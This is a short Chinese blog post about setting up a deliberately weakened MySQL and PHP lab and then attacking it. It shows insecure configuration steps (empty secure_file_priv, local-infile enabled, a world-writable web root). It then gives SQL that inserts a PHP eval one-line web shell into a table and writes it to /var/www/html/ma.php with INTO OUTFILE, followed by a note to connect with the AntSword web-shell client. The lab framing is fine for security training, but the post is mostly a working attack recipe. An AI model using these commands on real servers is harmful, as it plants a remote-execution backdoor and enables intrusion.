MySQL靶场&攻击

Aaron_Jㅤ2024-08-15 22:52

靶场搭建

修改配置文件

复制代码

vim /etc/my.cof

[mysqld]
secure_file_priv=
local-infile=1
[mysql]
local-infile=1

安装相关环境

复制代码

yum install php php-mysql -y

添加配置

复制代码

vim /etc/httpd/conf/httpd.conf

AddType application/x-httpd-php-source .phps
AddType application/x-httpd-php .php

重启相关服务

复制代码

systemctl restart httpd

修改权限

复制代码

chmod -R o+w /var/www

攻击

复制代码

use TEST;
show tables;
create table muma(cmd text);
insert into muma values(concat('<?php @eval($_POST[','''','mimi','''',']); ?>'));
select * from muma;
select * from muma into outfile '/var/www/html/ma.php';

访问 IP/ma.php

蚁剑连接

作者：PeiyuJue

链接： https://peiyu.serv00.net/2024/07/05/mysql靶场攻击/

来源：Aaron的博客